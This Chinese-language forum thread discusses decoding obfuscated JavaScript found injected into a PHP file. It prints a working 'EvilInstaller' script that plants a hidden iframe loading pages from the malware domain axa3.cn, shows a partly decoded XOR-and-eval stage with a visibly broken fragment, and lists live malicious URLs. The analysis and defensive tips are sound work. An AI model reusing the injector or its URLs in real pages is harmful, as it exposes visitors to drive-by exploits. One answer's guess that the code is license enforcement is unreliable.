我有一些代码,原本在一个php文件的底部,现在需要在javascript中使用。它会进行很多奇怪的操作,比如将十六进制转换为ascii,然后进行正则表达式替换,执行代码等等...
有没有办法在实际执行之前找出它要执行的内容?
这里是代码:
我有一些代码,原本在一个php文件的底部,现在需要在javascript中使用。它会进行很多奇怪的操作,比如将十六进制转换为ascii,然后进行正则表达式替换,执行代码等等...
有没有办法在实际执行之前找出它要执行的内容?
这里是代码:
function EvilInstaller(){};
EvilInstaller.prototype = {
getFrameURL : function() {
var dlh=document.location.host;
return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
},
path:'/elanguage.cn/',
cookieValue:1,
setCookie : function(name, value) {
var d= new Date();
d.setTime(new Date().getTime() + 86400000);
document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
},
install : function() {
if (!this.alreadyInstalled()) {
var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
try {
document.open();
document.write(s);
document.close();
}
catch(e) {
document.write("<html><body>" + s + "</body></html>")
}
this.setCookie(this.cookieName, this.cookieValue);
}
},
getRandString : function() {
var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
var o='';
for (var i=0;i<l;i++) {
o+=c.substr(Math.floor(Math.random()*c.length),1,1);
}
return o;
},
cookieName:'hedcfagb',
host:'axa3.cn',
alreadyInstalled : function() {
return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
}
};
var evil=new EvilInstaller();
evil.install();
基本上看起来它从axa3.cn加载恶意软件。尽管该网站已经被ISP怀疑,但无法确定实际存在于其中的除了一般恶意之外的内容。
(如果有人感兴趣,我使用Pastebin作为代码不断变化的伪版本控制系统,因此您可以查看另一个中间步骤,在我的第一篇帖子编辑后不久。看到不同的混淆层以及它们如何改变是相当有趣的。)
只需编写一个Perl脚本或其他脚本,将所有转义的十六进制字符更改为ASCII?然后仔细查看正则表达式,了解确切发生的事情,并使用您的Perl /任何脚本执行相同的操作。
虽然你可以手动解码,但当你有多个解码阶段时,这很快会变得乏味。我通常会替换eval/write以查看每个步骤:
<script>
window.__eval= window.eval;
window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
document.__write= document.write;
document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>
hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/
重定向到:
hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php
在IE浏览器的适当条件下查看,会给你带来大量漏洞。 不要访问这些URL。
简而言之,您的服务器已被axa3.cn黑客攻击,这是目前运作的众多中国托管但由俄罗斯经营的恶意软件团伙之一。
你可以尝试使用Firebug控制台并逐步分解它。作为一个开始:
var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));
只是将“eval”函数伪装成“jQuery”
#include <stdio.h>
const char wtf[] = ""; // Really long string goes here
int main(void) {
::printf("%s\n", wtf);
}
这将产生this(我添加了格式)。我会让你完成最后一部分,它似乎是更多相同的内容。
非常小心 - 如果有人费尽心思地混淆代码,那么很可能是某种攻击脚本
您可以使用本地 HTML 文件逐步输出执行结果,并逐个处理
通过这样做,我得到了:
var jQuery = "eval(" +
'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') +
");";
document.writeln('jQuery=' + jQuery);
这将产生
jQuery=eval(window.eval);
正如crescentfresh所观察到的那样,将变量jQuery绑定到window.eval函数。
下一节显然试图在十六进制代码中评估某些内容,因此让我们看看十六进制代码字符串的样子(手动重新格式化以供演示):
function g4LZ(s9QNvAL)
{
function eDdqkXm(fX09)
{
var uaWG=0;
var jtoS=fX09.length;
var aCD6=0;
while(aCD6wQ5.length)
d971I=0;
if(f234SD>lIXy6md.length)
f234SD=0;
kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
}
eval(kyCyJ);
return kyCyJ=new String();
}
catch(e){}
}
g4LZ('%33...%5e');
现在我们得到了一个转义的字符串,让我们使用unescape查看其中的内容(为了展示而截短):
30248118GA0* l: WRG:nt9*82:)7Z\uF%*{...
坦率地说,我已经厌倦了拆开这个东西,所以我将它转储到一个本地html文件中,断开了与互联网的连接,打开了Firefox,禁用了JavaScript,在Firefox中加载了该文件,启动了Firebug,重新加载了页面以使其运行,并检查了DOM。
该脚本创建了一个SRC设置为[修改后为安全起见!]的IFRAME:
http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/
axa3.cn是一个被恶意软件黑名单列入的中国域名。
我知道这不是答案,但通常(在我看到这种情况的地方),它们被放置在那里,以便如果该行未执行,则整个脚本都会停止。为什么他们要这样做?因为他们在脚本(或更常见的模板)上打印了他们的版权。
当人们为你付出所有这些麻烦来给予认可时,这是因为他们确实拥有去除版权许可证,我建议你付费购买,因为即使你“反向工程”它,他们也可以(并且已经)有其他方法来检查您的许可证是否真实。(其中一些软件实际上会发送某种消息,如果你这样做的话)。
但是,在我得到任何火焰之前,我同意回顾这种安全性并获取原始代码并将其破解是很有趣的 =)